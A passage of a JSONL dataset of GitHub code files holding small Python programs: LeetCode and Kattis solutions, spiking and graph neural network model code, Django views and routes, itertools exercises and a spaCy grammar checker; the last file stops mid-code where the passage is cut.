+{"seq_id":"32659527875","text":"class Solution:\n def isIsomorphic(self, s: str, t: str) -> bool:\n sd = {}\n td = {}\n\n for i in range(len(s)):\n #앞선 문자가 다르게 치환되는 경우\n if s[i] in sd and sd[s[i]] != t[i]:\n return False\n #뒤의 문자가 중복 치환되는 경우\n if t[i] in td and td[t[i]] != s[i]:\n return False\n\n sd[s[i]] = t[i]\n td[t[i]] = s[i]\n\n return True\n","repo_name":"llunaB/algorithmn","sub_path":"1017_Level1_Day2_String/205. Isomorphic Strings_s2.py","file_name":"205. Isomorphic Strings_s2.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21856765024","text":"import json\n\nimport numpy as np\n\nfrom snn_dpe import Encoder, Neuron, Synapse\n\n\ndef create_network(n_neurons, n_synapses, negative_weights = False, threshold_range = (0.35, 0.55), leak_range = (0.05, 0.25), weight_factor = 1.8, std_dev=0, drift=0, stdp=False):\n Neurons = []\n\n for i in range(n_neurons):\n threshold = np.random.uniform(low=threshold_range[0], high=threshold_range[1]) \n leak = np.random.uniform(low=leak_range[0], high=leak_range[1]) \n n = Neuron(i, threshold, leak)\n Neurons.append(n)\n\n for i in range(n_synapses):\n n1_id = np.random.choice(range(n_neurons))\n n2_id = np.random.choice(range(n_neurons))\n\n n1 = Neurons[n1_id]\n n2 = Neurons[n2_id]\n\n \n weight = np.random.rand(1)[0] * weight_factor\n\n if negative_weights:\n weight -= weight_factor/2\n\n s = Synapse(n1, n2, weight, std_dev, drift, stdp)\n\n Neurons[n1_id].add_synapse(s)\n\n return Neurons\n\n# create a network with encoders and feed it a sample from the dataset\ndef create_encoders(n_enc, min_f = 10, max_f = 700, sim_f = 1000, enc_type = 'rate'):\n encoders = []\n for _ in range(n_enc):\n e = Encoder(min_f, max_f, sim_f, enc_type)\n encoders.append(e)\n\n return encoders\n\ndef run_network(neurons, encoders, enc_input, sim_time):\n\n for i, e in enumerate(encoders):\n e.set_value(enc_input[i])\n\n # simulate\n fires = []\n for i in range(len(neurons) + len(encoders)):\n fires.append([])\n\n for t in range(sim_time):\n # get the input for this timestep, and apply it to input neurons\n for i, e in enumerate(encoders):\n if e.update():\n fires[i].append(t)\n neurons[i].apply_potential(1)\n\n # update the network\n for n in neurons:\n if n.update():\n fires[n.id + len(encoders)].append(t)\n\n return fires\n\ndef reset_network(neurons, encoders):\n for n in neurons:\n n.reset()\n \n for e in encoders:\n e.reset()\n\n# for each timestep\n# sum the total fires\n# if the average fires over the last window_size timesteps is about equal to the windowsize before that, steady state has been reached\ndef find_steady_state(sim_time, attributes, fires, window_size=10):\n # will hold the output of each neuron over the steady state (0 -> no fire @ t, 1 -> fire @ t)\n fire_matrix = [] \n # the sum of all fires over the simulation time\n total_fires = []\n steady_state_t = 0\n m1 = 0\n m2 = 0\n\n for t in range(sim_time):\n fire_matrix.append([])\n fires_at_t = 0\n\n # exclude encoder spikes\n for f in fires[len(attributes):]:\n \n if t in f:\n fires_at_t += 1\n fire_matrix[-1].append(1)\n else:\n fire_matrix[-1].append(0)\n\n if t > window_size*2:\n m1 = np.mean(total_fires[-window_size*2:-window_size])\n m2 = np.mean(total_fires[-window_size:])\n if np.isclose(m1, m2) and m1 != 0:\n # print(f'steady state at {t}')\n steady_state_t = t\n break\n\n total_fires.append(fires_at_t)\n\n return np.asarray(fire_matrix), total_fires, steady_state_t, (m1, m2)\n\n# an updated run_network function with early exit condition determined by steady state logic\ndef run_network_early_exit(neurons, encoders, enc_input, sim_time, window_size=10):\n # for determing if steady state reached (see next cell)\n total_fires = []\n for i, e in enumerate(encoders):\n e.set_value(enc_input[i])\n\n # simulate\n fire_matrix = []\n\n for t in range(sim_time):\n fire_matrix.append([])\n total_fires.append(0)\n # get the input for this timestep, and apply it to input neurons\n for i, e in enumerate(encoders):\n if e.update():\n neurons[i].apply_potential(1)\n\n # update the network\n for n in neurons:\n if n.update():\n fire_matrix[-1].append(1)\n total_fires[-1] += 1\n else:\n fire_matrix[-1].append(0)\n\n if t > window_size*2:\n m1 = np.mean(total_fires[-window_size*2:-window_size])\n m2 = np.mean(total_fires[-window_size:])\n if np.isclose(m1, m2) and m1 != 0:\n break\n\n return np.asarray(fire_matrix)\n\ndef save_trained_network(filename, neurons, encoders, dpe_weights, window_size, sim_time, c_acc, E_t, avg_ss):\n network = {}\n\n network['neurons'] = []\n network['synapses'] = []\n network['encoders'] = []\n network['dpe_weights'] = list(dpe_weights.flatten())\n network['window_size'] = window_size\n network['sim_time'] = sim_time\n network['cumulative accuracy'] = c_acc\n network['Epoch Accuracy'] = E_t\n network['Average Steady State Time'] = avg_ss\n\n for n in neurons:\n saved_n = {}\n saved_n['leak'] = n.leak\n saved_n['threshold'] = n.threshold\n network['neurons'].append(saved_n)\n\n for s in n.synapses:\n saved_s = {}\n saved_s['n1'] = s.n1.id\n saved_s['n2'] = s.n2.id\n saved_s['weight'] = s.weight\n\n network['synapses'].append(saved_s)\n\n if encoders is not None:\n for i, e in enumerate(encoders):\n saved_e = {}\n saved_e['min_f'] = e.min_f\n saved_e['max_f'] = e.max_f\n saved_e['sim_f'] = e.sim_f\n saved_e['enc_type'] = e.enc_type\n network['encoders'].append(saved_e)\n\n with open(filename, 'w') as f:\n f.write(json.dumps(network))\n\ndef load_trained_network(filename):\n network = {}\n with open(filename, 'r') as f:\n network = json.load(f)\n\n neurons = []\n encoders = []\n dpe_weights = np.asarray(network['dpe_weights']).reshape((len(network['neurons']), -1))\n window_size = network['window_size']\n sim_time = network['sim_time']\n c_acc = network['cumulative accuracy']\n E_t = network['Epoch Accuracy']\n avg_ss = network['Average Steady State Time']\n\n for i, n in enumerate(network['neurons']):\n loaded_n = Neuron(i, n['threshold'], n['leak'])\n neurons.append(loaded_n)\n\n for s in network['synapses']:\n n1 = neurons[s['n1']]\n n2 = neurons[s['n2']]\n loaded_s = Synapse(n1, n2, s['weight'])\n\n neurons[s['n1']].add_synapse(loaded_s)\n\n for e in network['encoders']:\n loaded_e = Encoder(e['min_f'], e['max_f'], e['sim_f'])\n encoders.append(loaded_e)\n\n \n return neurons, encoders, dpe_weights, window_size, sim_time, c_acc, E_t, avg_ss\n\n# simulates a network with timeseries data, at each timestep the first n_input neurons receive potentiation in the form of the data\n# NOTE: the input neurons are divided evenly into two types. The first get the data normally and the second get an inverted version of the data. \n# This is done so that the spike raster is not empty in the sections where input is low\n# returns - spike raster where the rows correspond to a neuron and each column is a timestep. \n# If the neuron fired at that timestep there is a 1 otherwise there is a 0\ndef run_network_timeseries(neurons, data, n_input):\n # simulate\n spike_raster = []\n for i in range(len(data)):\n spike_raster.append([])\n\n # feed a peice of data in at each timestep\n for t in range(len(data)):\n # get the input for this timestep, and apply it to input neurons\n for i in range(int(n_input/2)): #normal\n neurons[i].apply_potential(data[t])\n for i in range(int(n_input/2)): #inverted\n neurons[i+int(n_input/2)].apply_potential(-data[t]+1)\n\n # update the network\n for n in neurons:\n if n.update():\n spike_raster[t].append(1)\n else:\n spike_raster[t].append(0)\n\n return np.asarray(spike_raster)\n\n# same as run_network_timeseries but for n-dimensional input\ndef run_network_timeseries_nD(neurons, data, n_input):\n # simulate\n spike_raster = []\n for i in range(len(data)):\n spike_raster.append([])\n\n # number of input neurons per dim (eg. 3 dim, 12 inp -> 2)\n n_per_dim = int(n_input/2/len(data[0]))\n\n # feed a peice of data in at each timestep\n for t in range(len(data)):\n\n # get the input for this timestep, and apply it to input neurons\n # feed each dim in\n for i, d in enumerate(data[t]):\n # normally to n_per_dim neurons\n for j in range(n_per_dim):\n neurons[j + i*n_per_dim].apply_potential(d) #normal\n\n # inverted to n_per_dim neurons offset by half of n_input\n for j in range(n_per_dim):\n neurons[(j + i*n_per_dim) + int(n_input/2)].apply_potential(-d) #inverted\n\n # update the network\n for n in neurons:\n if n.update():\n spike_raster[t].append(1)\n else:\n spike_raster[t].append(0)\n\n return np.asarray(spike_raster)","repo_name":"rfebbo/SNN_DPE","sub_path":"src/snn_dpe/tools/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":9049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13809724179","text":"from django.conf.urls import url, include\nfrom django.contrib import admin\n\nfrom server import views\n\nurlpatterns = [\n url(r'^ping/?$', views.ping, name='ping'),\n url(r'^configure/?$', views.configure, name='configure'),\n url(r'^data/?$', views.data_distribute, name='data_distribute'),\n url(r'^multicast_start/?$', views.run_multicast_listener, name='multicast_start'),\n url(r'^query/?$', views.query, name='query'),\n url(r'^test/?$', views.test)\n]\n","repo_name":"ITCoders/MobileCloudIR","sub_path":"src/server/server/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"27790159895","text":"\"\"\"\nN的阶乘后缀包含连续0的个数\n与5相关，5有充足的2相乘得到10\n思路1：\n 遍历从5到n，递增5的数，对每个数重复整除5，整除的次数即为5的个数，即为后缀0的个数，时间复杂度O(Nk), 5^k <= n 且k最大\n思路2：\n 遍历从5到n，递增5的x次方，x递增，且依次计算出n=5，25，125...的结果，直到n < 5^k，再计算 n - 5^(k-1) 到 n 的数量，时间复杂度O(k)\n\"\"\"\n\n\ndef solution(n):\n rst = 1\n for i in range(2, n + 1):\n rst *= i\n cnt = 0\n for i in str(rst)[::-1]:\n if i == '0':\n cnt += 1\n else:\n break\n return cnt\n\n\ndef solution2(n):\n start = 5\n if n < start:\n return 0\n\n cnt_map = {5: 1}\n cnt_5 = 1\n cnt = 1\n while 1:\n end = start * 5\n if n < end:\n total = n - start\n div = start\n while div >= 5 and total:\n _cnt, total = divmod(total, div)\n cnt += cnt_map[div] * _cnt\n div //= 5\n return cnt\n\n cnt_5 += 1\n cnt = cnt_map[start] * 5 + 1\n start = end\n cnt_map[start] = cnt\n\n\nif __name__ == '__main__':\n for i in range(200):\n print(i, solution2(i), solution(i))\n\n import time\n s = time.time()\n print(10000, solution(100000), time.time() - s)\n s = time.time()\n print(10000, solution2(100000), time.time() - s)\n","repo_name":"mt3925/leetcode","sub_path":"Python/n阶乘后缀0的个数.py","file_name":"n阶乘后缀0的个数.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"42465269200","text":"# https://open.kattis.com/problems/pieceofcake2\ndef cake(li):\n if li[0]/2 >= li[1]:\n if li[0]/2 >= li[2]:\n return ((li[0]- li[1]) * (li[0] - li[2])) * 4\n else:\n return ((li[0]- li[1]) * li[2]) * 4\n else:\n if li[0]/2 >= li[2]:\n return (li[1] * (li[0] - li[2])) * 4\n else:\n return li[1] * li[2] * 4\n\na = list(map(int ,input().split()))\nprint(cake(a))","repo_name":"keremsabirli/kattis-problems","sub_path":"src/Difficulty 1/pieceofcake.py","file_name":"pieceofcake.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38019611192","text":"#code challenge\n# two_digit_number = input(\"Type a 2 digit num: \")\n\n# first_digit = int(two_digit_number[0])\n# second_digit = int(two_digit_number[1])\n\n# result = first_digit + second_digit\n# print(result)\n\n\n#code challenge\n# height = input(\"enter your height in m: \")\n# weight = input(\"enter yoru weight in kg: \")\n\n# bmi = int(weight)/float(height) ** 2\n# print(bmi)\n# bmi_as_int = int(bmi) #to print as whole number\n# print(bmi_as_int)\n\n#an example of using f-string\n# score = 0\n# fat = 46.2\n# print(f\"your score is {score}, your fat percentage is {fat}%\")\n\nprint(\"Welcome to the tip calculator\")\nbill = float(input(\"What was the total bill? $\"))\ntip = int(input(\"How much tip are you goin to give? 10,12 or 15? \"))\npeople = int(input(\"How many people are going to split the bill? \"))\nbill_with_tip = tip / 100 * bill + bill\nprint(bill_with_tip)","repo_name":"MohdSujan/Python-Projects","sub_path":"project-2/tip_calculator.py","file_name":"tip_calculator.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18610933016","text":"# itertools: product, permutations, combinations, accumulate, groupby, and infinite iterators\nprint(\"###### Product ######\")\nfrom itertools import product\na = [1,2]\nb = [3,4]\nprod = product(a,b)\nprint(prod)\nprint(list(prod))\n\nc = [5]\nprod2 = product(a,c, repeat=2)\nprint(list(prod2))\n\nprint(\"###### Permutations ######\")\nfrom itertools import permutations\na = [1,2,3]\nperm = permutations(a)\nprint(list(perm))\nperm2 = permutations(a, 2) #lenght of 2\nprint(list(perm2))\n\nprint(\"###### Combinations ######\")\nfrom itertools import combinations\na = [1,2,3,4]\ncomb = combinations(a, 2)\nprint(list(comb))\n\nfrom itertools import combinations, combinations_with_replacement\nb = [1,2,3,4]\ncomb = combinations_with_replacement(b, 2)\nprint(list(comb))\n\nprint(\"###### Accumulate ######\")\nfrom itertools import accumulate # it will compute the sums (or multiplications)\nimport operator\nc = [1,2,3,4]\nacc = accumulate(c)\nprint(c)\nprint(list(acc))\nacc2 = accumulate(c, func=operator.mul)\nprint(c)\nprint(list(acc2))\nc2 = [1,2,5,4,3]\nacc3 = accumulate(c2, func=max)\nprint(c2)\nprint(list(acc3))\n\nprint(\"###### Groupby ######\")\nfrom itertools import groupby\ndef smaller_than_3(x):\n return x < 3\n\na = [1,2,3,4]\ngroup_obj = groupby(a, key=smaller_than_3)\nfor key,value in group_obj:\n print(key, list(value))\n\ngroup_obj2 = groupby(a, key=lambda x: x<3)\nfor key,value in group_obj2:\n print(key, list(value))\n\npersons = [{'name': 'Tim', 'age':25}, {'name': 'Dan', 'age': 25},\n {'name': 'Lista', 'age': 27}, {'name': 'Claire', 'age': 28}]\n\ngroup_obj3 = groupby(persons, key=lambda x: x['age'])\nfor key,value in group_obj3:\n print(key, list(value))\n\nprint(\"###### infinite ######\")\nfrom itertools import count, cycle, repeat\nfor i in count(10): # creates an infinite loop that starts at 10, and adds 1 for every repetition\n print(i)\n if i == 15:\n break\na = [1,2,3]\n#for j in cycle(a): # will cycle infinitely through the list until a condition is met (i.e 1,2,3,1,2,3,1,2,3,1,2,3...)\n# print(j)\nfor k in repeat(1, 4): # will make a infinite loop that will print 1, until a stop point (4 in this case). So will repeat 1, four times.\n print(k)\n","repo_name":"Sejopc/IntermediatePython","sub_path":"Itertools.py","file_name":"Itertools.py","file_ext":"py","file_size_in_byte":2157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72662878861","text":"from django.shortcuts import render\nimport socketio\nfrom users.backends import JWTAuthentication\nfrom django_rest.wsgi import sio\nfrom statistic.models import Statistic\n\n@sio.on('connect')\ndef test_connect(sid, environ):\n try:\n auth = JWTAuthentication()\n data = auth.socket_authenticate(environ['HTTP_AUTHORIZATION'])\n print('connected sa')\n print(data[0])\n if data and data[0]:\n environ['user'] = data[0]\n else:\n return False\n except Exception as err:\n print(err)\n return False\n\n\n\n@sio.on('test_event')\ndef test_event(sid, message):\n print('message from socket:')\n\n # to all\n sio.emit('django',{'kkk':'sss'})\n\n #to one\n #sio.emit('django',{'kkk':'sss1'}, room=sid)\n\n #without me\n #sio.emit('django',{'kinder':'lol'},skip_sid=sid)\n\n\ndef index(request):\n print('reload index')\n return render(request, 'index.html', {})\n\n# Create your views here.\n","repo_name":"andriy-sa/django_rest","sub_path":"socket_io/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"13340502009","text":"'''\n1. 模拟法, 直接进行字符串的比较\n\n2. gcd性质法 / 暴力法\n(1) 暴力法\n(2) 利用gcd性质:\n 1. 求一个数字的gcd, 最坏的情况 log n: 即每次 // 2 之后再计算\n 2. 因此, 数组中所有数字最坏的 gcd 为 nlogU\n 3. 使用集合记录 gcd >= k的集合及对应的区间右端点\n 4. 由于求 gcd 过程中存在重复元素, 可以使用原地去重的方法(因为得到的gcd相同的在一起)\n 5. 每次更新的时候, 如果 gcd 没有发生变化, 需要更新右端点\n 6. 使用 i0 标记不合法的位置, 然后重新计算\n\n3. 中位数法 和 枚举 + 计算变化量\n(1) 中位数法\n 将costs数组中数字视为 nums[i]的出现次数, 中位数是取 sum(costs)的中位数之和\n ```\n mid = (sum(costs) // 2 + 1) , s = 0\n for i in costs:\n s += c\n if s >= mid:\n mid = s # 此时为计算\n ```\n(2) 枚举 + 计算变化量\n 1. 以 a[0][0]作为起始点, 计算变化量\n 2. 移动之后 其他数字减少的变化量 sum_cost -= nums[i]; 前面部分数字增加变化量 nums[i]\n 3. 计算sum_cost\n ```\n ans = total = sum(abs(x - a[0][0]) * c for x, c in zip(nums, costs))\n sum_cost -= 2 * c0\n total -= sum_cost * d\n ```\n\n'''\n\nfrom itertools import pairwise\nfrom math import gcd\nfrom typing import List\n\n# 2446. 判断两个事件是否存在冲突\n# https://leetcode.cn/problems/determine-if-two-events-have-conflict/\n\n\nclass HaveConflictSolution:\n def haveConflict(self, event1: List[str], event2: List[str]) -> bool:\n if event1[0] >= event2[0]:\n event = event1\n event1 = event2\n event2 = event\n\n return event1[1] >= event2[0]\n\n\n# 2447. 最大公因数等于 K 的子数组数目\n# https://leetcode.cn/problems/number-of-subarrays-with-gcd-equal-to-k/\n'''\n方法一: 暴力\n枚举所有的子数组, 使用gcd()方法计算最大的公因数\n剪枝: 0与num的最大公因数为num, 如果最大公因数, 如果 g % k != 0 则结束循环\n'''\n\n\nclass SubarraySolution:\n def subarrayGCD(self, nums: List[int], k: int) -> int:\n n = len(nums)\n ans = 0\n for i in range(n):\n g = 0\n for j in range(i, n):\n g = gcd(nums[j], g)\n if g % k:\n break\n if g == k:\n ans += 1\n\n return ans\n\n\n'''\n方法二: 利用性质计算\n1. 将计算gcd的逻辑去重\n2. 从左向右计算不同的GCD, o(log nums[i])\n => 所有子数组最多有n(nlogU)个\n => 使用上次结果计算的 gcd 与当前数字合并后得到的 gcd, 之后去重\n3. 使用集合 a 存储[gcd, end], 记录上一个不合法的位置 i0, 长度 end - i0\n4. 原地去重: 如果相同的数字连在一起, 则使用原地去重, \n https://leetcode.cn/problems/remove-duplicates-from-sorted-array/\n\nclass DistinctSolution:\n def distinct(self, nums: List[int]) -> int:\n j = 0\n for v in nums:\n if v != nums[j]:\n j += 1\n nums[j] = v\n\n return j + 1\n\n'''\n\n\nclass SubarraySolutionII:\n def subarrayGCD(self, nums: List[int], k: int) -> int:\n a = [] # [gcd, 相同 gcd 的右端点]\n i0 = -1\n ans = 0\n for i, v in enumerate(nums):\n if v % k:\n i0 = i\n a = [] # 此时需要清空数组\n continue\n a.append([v, i])\n\n # 对gcd去重, 原地去重\n j = 0\n for p in a:\n # 计算当前的gcd\n p[0] = gcd(p[0], v)\n if a[j][0] != p[0]:\n j += 1\n a[j] = p\n else:\n # 合并右端点\n a[j][1] = p[1]\n\n if a[0][0] == k:\n ans += a[0][1] - i0 # 计算子数组的个数 right - left + 1\n\n return ans\n\n\n# 2448. 使数组相等的最小开销\n# https://leetcode.cn/problems/minimum-cost-to-make-array-equal/\n'''\n方法一: 中位数贪心法\n1. 将costs[i]看作每个nums[i]的出现次数, 计算结果等价于求每个数字到特定数字的距离和\n2. 求距离之和, 使用中位数求和法\n3. 将costs数组看作出现次数后, 我们需要寻找当中的中位数, 寻找costs\n4. 中位数的选择是指 在costs中选择\n\n方法二: 枚举 + 变化量\n1. 以第一个为初始值计算, total\n2. 枚举变化时\n 2.1 其他值的变化: (sum_cost - cost[i - 1]) * 变化值(nums[i] - nums[i - 1])\n 2.2 之前值的变化: (nums[i] - nums[i - 1]) * cost[i - 1]\n 2.3 (sum_cost - c0) * t - c0 * t -> total - 2 * c0 * t\n'''\n\n\nclass MinCostSolution:\n def minCost(self, nums: List[int], costs: List[int]) -> int:\n # 方法一: 中位数计算法\n # # 选择costs的中位数, 因为将costs中数字看作出现次数\n # a = sorted(zip(nums, costs))\n # # 需要向上取整\n # s, mid = 0, (sum(costs) + 1) // 2\n # for x, c in a:\n # s += c\n # if s >= mid:\n # return sum(abs(y - x) * c for y, c in a)\n\n # 方法二: 枚举法\n # 假设选择第一个, 总花费为 total = sum(abs(y - a[0][0]) * c for y, c in a)\n # 如果下一个, 花费减少的花费 (nums[i] - nums[i - 1])\n a = sorted(zip(nums, costs))\n total = ans = sum(abs(y - a[0][0]) * c for y, c in a)\n sum_cost = sum(costs)\n for (x0, c0), (x1, _) in pairwise(a):\n t = x1 - x0\n # 这个变化值需要直接减在 sum_cost上面\n sum_cost -= 2 * c0\n total -= sum_cost * t\n ans = min(ans, total)\n return ans\n\n\n# 2449. 使数组相似的最少操作次数\n# https://leetcode.cn/problems/minimum-number-of-operations-to-make-arrays-similar/\n'''\n1. 如果要使数组相似操作次数最小则 我们需要将最小值对应最小值, 次小值对应次小值, 排序\n2. 注意到 +2, -2 都是奇偶性不会改变, 所以将 nums与target中奇偶性相同一起操作\n3. 将奇偶数字操作分开, 将奇数采用相反数, 然后排序后分开\n'''\n\n\nclass MakeSimilarSolution:\n def makeSimilar(self, nums: List[int], target: List[int]) -> int:\n def support(a: List[int]):\n for i, x in enumerate(a):\n if x % 2:\n a[i] = -x # 由于元素都是正数，把奇数变成相反数，这样排序后奇偶就自动分开了\n # 排序后奇偶自动分开\n a.sort()\n\n support(nums)\n support(target)\n\n # return sum(abs(x - y) for x, y in zip(nums, target)) // 4\n\n ans = 0\n for i, j in zip(nums, target):\n ans += abs(i - j)\n\n return ans // 4\n","repo_name":"alchemistklk/leetcode_summary","sub_path":"contest/weekly/316.py","file_name":"316.py","file_ext":"py","file_size_in_byte":6798,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"12045019529","text":"#!/usr/bin/env python3\n# coding=utf-8\n\nfrom data.parser.to_mrp.abstract_parser import AbstractParser\n\n\nclass LabeledEdgeParser(AbstractParser):\n def __init__(self, *args):\n super().__init__(*args)\n\n self.argument_roles = ['target', 'fname', 'participant', 'organizer', 'etime', 'place']\n self.event_types = ['trigger']\n\n self.pairs = {\n 'trigger': [self.dataset.edge_label_field.vocab.stoi[item] for item in self.argument_roles]\n }\n\n self.argument_ids = [self.dataset.edge_label_field.vocab.stoi[arg] for arg in self.argument_roles]\n self.event_type_ids = [self.dataset.edge_label_field.vocab.stoi[e] for e in self.event_types]\n\n def parse(self, prediction):\n output = {}\n\n output[\"id\"] = self.dataset.id_field.vocab.itos[prediction[\"id\"].item()]\n output[\"nodes\"] = self.create_nodes(prediction)\n output[\"nodes\"] = self.create_anchors(prediction, output[\"nodes\"], join_contiguous=True, at_least_one=True)\n output[\"nodes\"] = [{\"id\": 0}] + output[\"nodes\"]\n output[\"edges\"] = self.create_edges(prediction, output[\"nodes\"])\n\n return output\n\n def create_nodes(self, prediction):\n return [{\"id\": i + 1} for i, l in enumerate(prediction[\"labels\"])]\n\n def create_edges(self, prediction, nodes):\n N = len(nodes)\n edge_prediction = prediction[\"edge presence\"][:N, :N]\n\n edges = []\n\n event_nodes = []\n\n for target in range(1, N):\n if edge_prediction[0, target] >= 0.5:\n for j in self.argument_ids:\n prediction['edge labels'][0, target, j] = float('-inf')\n self.create_edge(0, target, prediction, edges, nodes)\n event_nodes.append(target)\n \n\n for source in range(1, N):\n for target in range(1, N):\n if source == target:\n continue\n if edge_prediction[source, target] < 0.5:\n continue\n\n if source in event_nodes:\n for j in range(7):\n if j not in self.argument_ids:\n prediction['edge labels'][source, target, j] = float('-inf')\n\n self.create_edge(source, target, prediction, edges, nodes)\n\n return edges\n\n def get_edge_label(self, prediction, source, target):\n return self.dataset.edge_label_field.vocab.itos[prediction[\"edge labels\"][source, target].argmax(-1).item()]\n","repo_name":"huiling-y/eventgraph_at_case","sub_path":"perin/data/parser/to_mrp/labeled_edge_parser.py","file_name":"labeled_edge_parser.py","file_ext":"py","file_size_in_byte":2509,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"9710266314","text":"#!/usr/bin/env python3\n\"\"\"\n grammar_checker.py - Checking for grammar using parser\n Author: Dung Le (dungle@bennington.edu)\n Date: 01/09/2017\n\"\"\"\n\nimport spacy\n\nparser = spacy.load('en')\n\n# Possibility 1: Rule-based grammar\n# The grammar in this case is hand-coded. High precision, yet, scale poorly.\n# Need to enter correct parse tree manually\nwith open(\"../data/level-pos.txt\", \"r\") as rule_grammar:\n grammar_list = rule_grammar.read().splitlines()\n\n# Possibility 2: Grammar learned from large corpus\n# The grammar in this case is learned using spaCy parser for a subset taken\n# from Gutenberg project (1 MB dataset). Difficult to match exactly (lower\n# precision), yet, high coverage.\nwith open(\"../data/sample-pos.txt\", \"r\") as auto_grammar:\n large_grammar_list = auto_grammar.read().splitlines()\n\nclass Grammar_Checker:\n def __init__(self, user_input):\n self.user_input = user_input.lower()\n\n def checker(self):\n # First, parse user input\n text = parser(self.user_input)\n sent_pos = \"\"\n for token in text:\n if token.is_alpha:\n sent_pos = sent_pos + token.tag_ + \" \"\n # print(sent_pos)\n\n # If the grammar input by user is in the pre-defined list\n # the user_input's grammar is then correct\n if sent_pos in large_grammar_list:\n return \"Corrected\"\n else:\n return \"Incorrected\"\n\n def run(self):\n return self.checker()\n","repo_name":"DungLe13/NLP-for-Game","sub_path":"src/grammar_checker.py","file_name":"grammar_checker.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26411685391","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom model.gnn_model import GraphBlock\n\nclass IntraGraphBlock(nn.Module):\n \"\"\"\n GNN graph learning in one timestamp\n apt_cor --> W_{intra}\n\n \"\"\"\n\n def __init__(self, num_node_emb, graph_mode, feat_dim, hidden_dim, node_embedding_dim \\\n , dropout, readout_hidden_dim, graph_embedding_dim):\n super(IntraGraphBlock, self).__init__()\n self.mode = graph_mode\n self.num_node_emb = num_node_emb\n # self.apt_cor = nn.Parameter(torch.FloatTensor(num_node_emb, num_node_emb))\n # nn.init.xavier_normal_(self.apt_cor.data)\n self.atten_layer1 = nn.Linear(num_node_emb,num_node_emb)\n self.atten_layer2 = nn.Linear(num_node_emb,num_node_emb)\n nn.init.xavier_normal_(self.atten_layer1.weight)\n nn.init.xavier_normal_(self.atten_layer1.weight)\n\n self.gnn = GraphBlock(graph_mode, feat_dim, hidden_dim, node_embedding_dim \\\n , dropout, readout_hidden_dim, graph_embedding_dim)\n\n def forward(self, init_node_emb, supply):\n # adj = torch.mm(torch.matmul(init_node_emb, self.apt_cor), init_node_emb.T) \\\n # / math.sqrt(self.num_node_emb)\n adj = torch.mm(self.atten_layer1(init_node_emb),self.atten_layer2(init_node_emb).T)\n adj_norm = F.softmax(adj, dim=1)\n node_emb, graph_emb = self.gnn(adj_norm, init_node_emb,supply)\n return node_emb, graph_emb\n\n\nclass MixtureGraphEmbedding(nn.Module):\n \"\"\"\n Mixture node embedding with graph embedding. Concat or Linear Transformation ...\n\n \"\"\"\n\n def __init__(self, mode, node_emb):\n super(MixtureGraphEmbedding, self).__init__()\n self.mode = mode\n self.layer = nn.Linear(node_emb * 2, node_emb)\n nn.init.xavier_normal_(self.layer.weight)\n self.drop = nn.Dropout(p = 0.1)\n self.linear = nn.Linear(node_emb,node_emb)\n self.norm = nn.LayerNorm([10,node_emb])\n\n def forward(self, node_emb, graph_emb):\n \"\"\"\n\n :param node_emb: #node * #emb\n :param graph_emb: 1 * #emb\n :return:\n \"\"\"\n if self.mode == \"cat\":\n node_num = node_emb.shape[-2]\n graph_emb_align = graph_emb.repeat(node_num, 1)\n\n mixture_node_emb = torch.cat((node_emb, graph_emb_align), dim=1)\n output = self.norm(self.layer(mixture_node_emb))\n # output = self.layer(mixture_node_emb)\n\n return output\n\n\nclass InterGraphBlock(nn.Module):\n \"\"\"\n GNN graph learning between two timestamps\n\n \"\"\"\n\n def __init__(self, num_node_emb, graph_mode, feat_dim, hidden_dim, node_embedding_dim \\\n , dropout, readout_hidden_dim, graph_embedding_dim):\n super(InterGraphBlock, self).__init__()\n self.mode = graph_mode\n self.num_node_emb = num_node_emb\n # self.apt_cor = nn.Parameter(torch.FloatTensor(num_node_emb, num_node_emb))\n # nn.init.xavier_uniform_(self.apt_cor.data)\n self.atten_layer1 = nn.Linear(num_node_emb,num_node_emb)\n self.atten_layer2 = nn.Linear(num_node_emb,num_node_emb)\n nn.init.xavier_normal_(self.atten_layer1.weight)\n nn.init.xavier_normal_(self.atten_layer1.weight)\n\n self.gnn = GraphBlock(graph_mode, feat_dim, hidden_dim, node_embedding_dim \\\n , dropout, readout_hidden_dim, graph_embedding_dim)\n\n def forward(self, pre_node_emb, cur_node_emb):\n # adj = torch.mm(torch.mm(pre_node_emb, self.apt_cor), cur_node_emb.T) \\\n # # / math.sqrt(self.num_node_emb)\n adj = torch.mm(self.atten_layer1(pre_node_emb),self.atten_layer2(cur_node_emb).T)\n\n adj_norm = F.softmax(adj, dim=1)\n node_emb, _ = self.gnn(adj_norm, pre_node_emb,supply = None)\n return node_emb\n\n\nclass MixtureOutput(nn.Module):\n \"\"\"\n Mixture inter embedding and intra embedding . Concat or Linear Transformation ...\n\n \"\"\"\n\n def __init__(self, node_emb, hidden_emb, output_emb, mode=\"cat\"):\n super(MixtureOutput, self).__init__()\n self.mode = mode\n self.layer1 = nn.Linear(node_emb * 2, hidden_emb)\n self.layer2 = nn.Linear(hidden_emb, hidden_emb)\n self.output = nn.Linear(hidden_emb, output_emb)\n 